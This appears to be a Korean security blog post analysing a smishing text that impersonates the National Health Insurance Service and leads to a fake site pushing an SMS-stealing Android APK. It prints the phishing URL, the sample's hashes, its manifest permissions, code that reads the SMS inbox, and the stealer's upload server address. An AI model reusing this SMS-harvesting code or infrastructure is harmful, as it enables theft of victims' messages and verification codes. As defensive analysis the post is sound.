본문 바로가기
IT 보안소식

"보험 국민건강 통보문 전달완료부탁합니다" 스미싱 문자 메시지 주의

by 잡다한 처리 2023. 9. 14.
반응형

안녕하세요 처리의 블로그입니다.
2023년 8월 24일 오랫만에 저에게 하나의 문자 메시지가 전달되었습니다.

[Web발신] 보험 국민건강 통보문 전달완료부탁합니다. http://yhasns.lol


전달 온 번호는 생각보다는 많이 사용되지 않았네요.

스팸 데이터 베이스 자료 (http://www.missed-call.com)
국민건강보험 스미싱 문자 화면

원래 "국민건강보험" 인데 "보험 국민건강" 으로 스미싱 어플의 키워드 탐지를 우회하기 위한 깜찍한 시도로 보여지네요.
메시지에 있는 사이트에 접속을 하면 역시나 국민건강보험 사이트와 유사한 페이지로 만들었네요.

국민건강보험 허위 사이트 화면

핸드폰 번호를 입력하면 이름과 생년월일을 입력하면 다음으로 넘어가 다운로드를 유도합니다.

악성 파일을 다운로드 시키는 허위 사이트 화면


다운로드를 하면 "전화번호.apk"로 파일이 다운로드 됩니다. 다운로드 된 APK 파일의 정보는 다음과 같습니다.

파일명 sample.apk
 MD5 08681E3F16625260BC5A951F10616484
SHA1 A868C62C36C62CA6FD0D7DEEFD2E399D56D5CF19
SHA256 03CB243BFFA4546C8A04F9F9CA4128D81415D9636F58E32BDE54F81BFBDA9EBB


대~~략적으로 간단 하게만 살펴볼겠습니다.
일단 AndroidManifest.xml 을 보면 SMS관련 퍼미션,폰정보,부팅 관련을 사용하는것으로 보아 SMS Stealer 계열인거 같네요. 

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="10015" android:versionName="1.0.15" android:compileSdkVersion="31" android:compileSdkVersionCodename="12" package="com.samsung.hway" platformBuildVersionCode="31" platformBuildVersionName="12">
    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="31"/>
    <uses-feature android:name="android.hardware.telephony" android:required="false"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
    <application android:theme="@style/Theme.Xms" android:label="@string/app_name" android:icon="@drawable/icon" android:allowBackup="false" android:supportsRtl="true" android:usesCleartextTraffic="true" android:roundIcon="@drawable/icon" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
        <activity android:name="com.samsung.hway.MainActivity" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <service android:name="com.samsung.hway.core.XmsService" android:enabled="true" android:exported="true"/>
        <receiver android:name="com.samsung.hway.core.BootReceiver" android:exported="true">
            <intent-filter android:priority="999">
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </receiver>
        <provider android:name="androidx.startup.InitializationProvider" android:exported="false" android:authorities="com.samsung.hway.androidx-startup">
            <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
            <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
        </provider>
    </application>
</manifest>


어플이 설치 되면 m.naver.com   화면을 웹뷰로 보여주고, 권한 상승 메시지가 보여질거 같네요.

 private void initView() {
        if (this.web == null) {
            WebView webView = (WebView) findViewById(C0994R.C0997id.web);
            this.web = webView;
            WebSettings settings = webView.getSettings();
            settings.setJavaScriptEnabled(true);
            settings.setSupportZoom(true);
            settings.setBuiltInZoomControls(true);
            settings.setUseWideViewPort(true);
            settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.SINGLE_COLUMN);
            settings.setLoadWithOverviewMode(true);
            this.web.setWebViewClient(new XmsWebViewClient());
            this.web.loadUrl("https://m.naver.com");
        }
    }


문자 메시지 수집하는 구간도 잘 보이네요.

public void onChange(boolean z) {
        Cursor query = this.context.getContentResolver().query(Uri.parse("content://sms/inbox"), new String[]{"address", "read", "body", "date"}, "read=?", new String[]{"0"}, "date desc");
        if (query == null) {
            return;
        }
        while (query.moveToNext()) {
            try {
                try {
                    XmsMessage xmsMessage = new XmsMessage();
                    int columnIndex = query.getColumnIndex("address");
                    if (columnIndex != -1) {
                        xmsMessage.From = query.getString(columnIndex);
                    }
                    int columnIndex2 = query.getColumnIndex("body");
                    if (columnIndex2 != -1) {
                        xmsMessage.Body = query.getString(columnIndex2);
                    }
                    int columnIndex3 = query.getColumnIndex("date");
                    if (columnIndex3 != -1) {
                        xmsMessage.Time = query.getLong(columnIndex3);
                    }
                    Communal.HandlerMessage(this.context, xmsMessage, "XmsObserver");
                } catch (Exception e) {
                    Log.e(Communal.TAG, e.toString());
                }
            } finally {
                query.close();
            }
        }
    }


그리고 수집 된 문자 메시지는 특정 서버에 업로드 합니다.

public class XmsApi {
    private static final String DEFAULT_URLPREFIX = "https://dc.yhwanson.com";
    private static final MediaType MEDIA_TYPE_POST = MediaType.parse("application/x-www-form-urlencoded");
    OkHttpClient client;
    String urlPrefix;
    }

 

만약 이런 문자를 확인하고 어플까지 설치하셨다면, 모바일 보안제품을 설치하셔서 꼭 검사를 받으시고 피해가 의심된다면 아래의 방법으로 문의하셔서 상담을 받으시기 바랍니다.

* 스미싱 상담 및 신고방법
- 국번없이 118
- KISA 인터넷보호나라 www.boho.or.kr -> 상담 및 신고 -> 스미싱 신고

댓글